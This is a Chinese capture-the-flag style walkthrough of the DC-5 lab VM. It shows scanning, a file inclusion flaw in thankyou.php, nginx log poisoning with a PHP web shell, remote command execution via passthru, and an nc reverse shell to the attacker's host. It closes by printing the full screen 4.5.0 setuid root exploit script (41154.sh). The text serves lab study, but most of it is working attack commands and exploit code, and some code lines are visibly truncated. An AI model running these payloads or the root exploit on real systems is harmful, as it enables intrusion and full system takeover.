命令:arp-scan -l
命令1:nmap -sS -Pn -A -p- 192.168.85.144
命令2:nmap -sV -p- 192.168.85.144
#-sV —— 用来扫描目标主机和端口上运行的软件的版本
3.1> 访问DC-5的web服务,只有一个提示,看不出什么特别来;
3.2> 翻一下网站的页面功能后,点击打开contact页面的提交留言后,出现改变;
我们发现:发现contact页面在提交留言后,出现改变,年份刷新一次改变一次,与提示相符,直接去访问thankyou.php也是一样的。
具体使用可以参考:WFUZZ的使用
注意:访问状态为200的文件,当访问到footer.php文件时,显示如下,并且刷新一次年份会发生改变。
8.1> 用burp抓包检测,可以看到的确存在该漏洞并且没有过滤包含进来的内容;
在前面的nmap扫描中,我们已经知道该web服务器使用的是Nginx服务,并且在网站上的每一步操作都将会被写入日志文件log内,因此我们可以通过log来拿 shell,写入phpinfo()进行探测,是否可以包含成功。
9.1> 将一句话木马通过URL写入到服务器上面,并且通过burp进行抓包;
9.2> 通过日志文件log查看是否写入成功;
日志路径为:/var/log/nginx/access.log,是系统默认路径
通过firefox浏览器打开(URL:http://192.168.85.144/thankyou.php?file=/var/log/nginx/access.log),发现一句话木马已经写入成功。
通过BurpSuite抓包,并写入PHP的执行系统命令
关于passthru()函数的快速描述
passthru - 执行外部程序并显示原始输出
进行测试,看是否外部命令是否能够正常执行的;
命令:http://192.168.85.145/thankyou.php?file=/var/log/nginx/access.log&abc=cat%20/etc/passwd
外部命令已经正常执行。
注意:
当我们写入一句话木马: ,可以通过写入日志文件的路径可以连接,但是蚁剑里面不能够打开终端。可能DC-5后台将eval函数被禁止了。所以我们只能选择别的道路,进行解决。
命令:abc=nc 192.168.85.139 7777 -c /bin/bash
11.1> 在kali上用命令:nc -lvvp 7777 对端口7777进行监听;
11.2> 通过firefox浏览器对日志文件中的木马病毒进行执行;
可以发现我们已经反弹成功!!!
交互式shell命令:python -c “import pty;pty.spawn(‘/bin/bash’)”
查找一下可以用root权限运行的命令;
命令: find / -perm -u=s -type f 2>/dev/null
我们直接利用/usr/share/exploitdb/exploits/linux/local/目录下的41154.sh文件
具体不走如下:
用vim打开该sh文件,输入:
[plain]
:set ff
回车,显示fileformat=dos,重新设置下文件格式:
[plain]
:set ff=unix
保存退出:
[plain]
:wq
我们使用apache进行上传失败;
可以发现通过kali中开启apache服务,通过wget上传文件失败了!!!
最后我们通过ftp服务进行文件上服务
17.1> 在kali攻击机上安装并启动服务端vsftpd服务;
17.2> 添加用户:lisi,并设置密码:123456
17.3> 在家目录下建立lisi文件夹,并将41154.sh文件粘贴到该文件夹里面;
并赋予lisi文件夹写权限;
17.4> 通过已经拿到的getshell,通过ftp登录攻击机;
17.5> 下载41154.sh文件,到本地的/tmp目录下(因为/tmp的权限为777);
首先查看/tmp的权限;
在本地DC-5目标机下载41154.sh文件;
17.6> 执行41154.sh文件;
我们可以发现,脚本执行出现错误,是我太疏忽了,没有打开41154.sh文件,研究里面的代码。没办法重新开始研究的。。
root@kali:/home/lisi# cat 41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include
#include
#include
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
root@kali:/home/lisi#
复制完成后,直接带本地对libhax.c进行编译,编译完成后将libhax.c文件删除;
对rootshell.c文件进行gcc编译后,将原文件rootshell.c删除掉;